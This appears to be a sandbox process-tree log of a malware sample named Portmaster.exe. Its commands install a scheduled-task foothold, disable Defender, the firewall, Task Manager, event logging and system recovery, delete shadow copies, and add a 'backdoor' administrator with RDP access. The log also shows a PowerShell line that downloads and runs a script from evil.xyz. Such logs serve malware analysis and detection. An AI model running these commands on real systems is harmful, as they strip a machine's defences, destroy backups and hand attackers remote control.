C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 7443⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
- Remote Service Session Hijacking: RDP Hijacking
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 6364⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
- Remote Service Session Hijacking: RDP Hijacking
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9020 -s 5566⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f6⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f7⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f7⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off7⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f7⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true7⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off7⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled7⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled7⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8560 -s 6764⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8552 -s 5524⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8544 -s 6364⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8536 -s 5524⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
-
